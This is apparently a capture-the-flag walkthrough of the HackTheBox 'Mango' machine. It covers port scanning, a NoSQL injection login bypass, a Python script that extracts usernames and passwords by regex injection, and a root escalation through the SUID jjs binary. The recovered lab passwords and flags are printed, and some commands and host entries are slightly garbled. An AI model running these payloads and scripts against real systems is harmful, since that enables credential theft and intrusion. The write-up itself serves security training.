Mango

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.162 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Thu Jan  6 18:02:04 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.162
Warning: 10.10.10.162 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.162
Host is up (0.063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Nmap done at Thu Jan  6 18:02:21 2022 -- 1 IP address (1 host up) scanned in 16.67 seconds

As we see, a few ports are open.

Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,443 10.10.10.162 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Thu Jan  6 18:02:46 2022 as: nmap -sCV -p22,80,443 -oN targeted 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.049s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_http-title: Mango | Search Base
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  6 18:03:15 2022 -- 1 IP address (1 host up) scanned in 28.85 seconds

Let's start with the basics. First, I see there is an HTTPS service running on port 443. Let's inspect the SSL certificate with the following command:

ssl s_client -connect 10.10.10.162:443

  • s_client implements a generic SSL/TLS client.

  • -connect tests connectivity to an HTTPS service..

At some point we should see this:

Certificate chain
0 s:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
  i:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb

Now we know that the common name (CN) is staging-order.mango.htb and the Domain Name is mango .htb. Let's add both to the /etc/hosts file and see if there is Virtual Hosting.

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.239    staging-order.mango.htb    mango.htb

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server.

If we take a look at http://mango.htb we will get a Forbidden message.

And if we take a look at https://mango.htb or https://staging-order.mango.htb we will see a Mango search engine, based on the Google search engine.

And if we take a look at http://staging-order.mango.htb we'll see a login page.

Exploitation

Let's try some random credentials on the login page, intercept the request with BurpSuite, and send it to the repeater.

username=admin&password=admin&login=login

At this point, I tried to inject various types of payloads from the PayloadAllTheThings github repository, and I got something interesting by doing NoSQL injection. If I enter some invalid credentials I get a response with a 200 OK status code, but if I use the NoSQL Authentication Bypass I get a 302 Found status code, and if I forward the petition I see the home.php file basically saying that the website is not functional.

username[$ne]=admin&password[$ne]=admin&login=login

Now that we can do NoSQL Injection, we can try to dump the current database. We used before the not equal [$ne], but we can also use regular expressions with [$regex]. If we send something like username[$regex]=^a and we get a 302 Found status code, we know that there is a user that starts with the letter a, if we get a 200 OK status code, we know the users doesn't start with a.

The idea here is to keep trying letters until we get the 302 Found status code, then we can append that letter at the end of the username value.

username[$regex]=^a&password[$ne]=admin&login=login

If we append the letter b at the end, we'll get a 200 OK status code, which means that there is no user that starts with ab.

username[$regex]=^ab&password[$ne]=admin&login=login

But, if I append the letter d, I get a 302 Found status code, which means that there is a user which starts with ad.

username[$regex]=^ad&password[$ne]=admin&login=login

Here is a python script I coded which basically automates this whole process. It finds valid users and their password, by exploiting the vulnerability explained before.

#/usr/bin/env python
from pwn import *
import requests

def def_handler(sig, frame):
    print("[!] Saliendo...")
    sys.exit(1)
    
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables
url = "http://staging-order.mango.htb/"

def makeRequest():
    characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#%&\'(),-/:;<=>@[\]_`{}~'
    user = ""
    password = ""
    prev_char_list = []
    found_user = False

    p1 = log.progress("Brute Force")
    p1.status("Brute forcing...")
    time.sleep(1)
    
    p2 = log.progress("Username")
    p3 = log.progress("Password")

    while True:
                    
        for char in characters:

            p1.status("Trying with the %c character" % char)

            if found_user == False:
                post_data = {
                    "username[$regex]": "^%s%s" %(user, char),
                    "password[$ne]": "password",
                    "login": "login"
                }
            else:
                post_data = {
                    "username": user,
                    "password[$regex]": f"^{re.escape(password + char)}",
                    "login": "login"
                }

            r = requests.post(url, post_data, allow_redirects=False)
            
            if r.status_code == 302:
                if found_user == False:
                    if user == "":
                        for prev_char in prev_char_list:
                            characters = characters + prev_char
                        prev_char_list.append(char)
                    user += char
                    p2.status(user)
                else:
                    password += char
                    p3.status(password)
                break
            if r.status_code == 200 and char == characters[-1]:
                if found_user == False:
                    found_user = True
                    if user == "":
                        print("[!] No more users...")
                        sys.exit(0)
                else:
                    for prev_char in prev_char_list:
                        characters = characters.replace(prev_char, '')
                    found_user = False
                    user = ""
                    password = ""
                    p2 = log.progress("Username")
                    p3 = log.progress("Password")
                break

if __name__ == '__main__':
    makeRequest()pyth

If we execute the script, we should get the users admin and mango with their passwords.

python3 exploit.py

[|] Brute Force: Trying with the ~ character
[┬] Username: admin
[┬] Password: t9KcS3>!0B#2
[┴] Username: mango
[-] Password: h3mXK8RhU~f{]f5H
[◒] Username
[°] Password
[!] No more users...

If we try to log in via SSH with these credentials, we'll see that we can have a shell as the mango user.

ssh mango@10.10.10.162

mango@10.10.10.162's password: h3mXK8RhU~f{]f5H
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb  8 22:43:25 UTC 2022

  System load:  0.0                Processes:            101
  Usage of /:   26.0% of 19.56GB   Users logged in:      0
  Memory usage: 24%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Feb  8 22:40:41 2022 from 10.10.14.19
-bash-4.4$ whoami
mango

From here we can become the admin user with the password that we obtained before, and then we could grab the user flag.

su admin

Password: t9KcS3>!0B#2
$ script /dev/null -c bash
Script started, file is /dev/null
bash-4.4$ whoami
admin
bash-4.4$ cat /home/admin/user.txt 
e545e9be2adee42a96334143edea9672

Privilege Escalation

Now we could try to list SUID binaries, and see if we can escalate privileges with one of them.

find / -perm /4000 2>/dev/null

/bin/fusermount
/bin/mount
/bin/bash
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

We get a bunch of SUID binaries. If we search for the jjs binary on GTFOBins we'll see there is a way of getting a shell as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

https://gtfobins.github.io/

The following command will set the /bin/bash binary with the SUID permission, so we could get a shell as root.

echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()" | jjs

Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()
0

Then all we have to do is execute bash with privileged mode and reap the harvest and take the root flag.

bash -p

bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
c34dfa4d88b3f6dac73e6b2e1bf3cb1d

Last updated

Was this helpful?